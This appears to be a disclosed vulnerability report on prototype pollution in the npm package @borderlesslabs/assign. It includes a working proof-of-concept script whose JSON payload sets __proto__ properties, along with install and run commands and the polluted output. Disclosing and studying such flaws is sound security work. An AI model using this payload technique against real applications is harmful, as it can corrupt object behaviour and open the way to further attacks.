Prototype Pollution in borderlesslabs/assign
Valid
Reported on
Feb 9th 2021
Description
@borderlesslabs/assign
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
var a = require("@borderlesslabs/assign")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
a.assign(obj, payload);
console.log("After : " + {}.polluted);
- Execute the following commands in terminal:
npm i @borderlesslabs/assign # Install affected module
node poc.js # Run the PoC
- Check the Output:
Before : undefined
After : Yes! Its Polluted
to join this conversation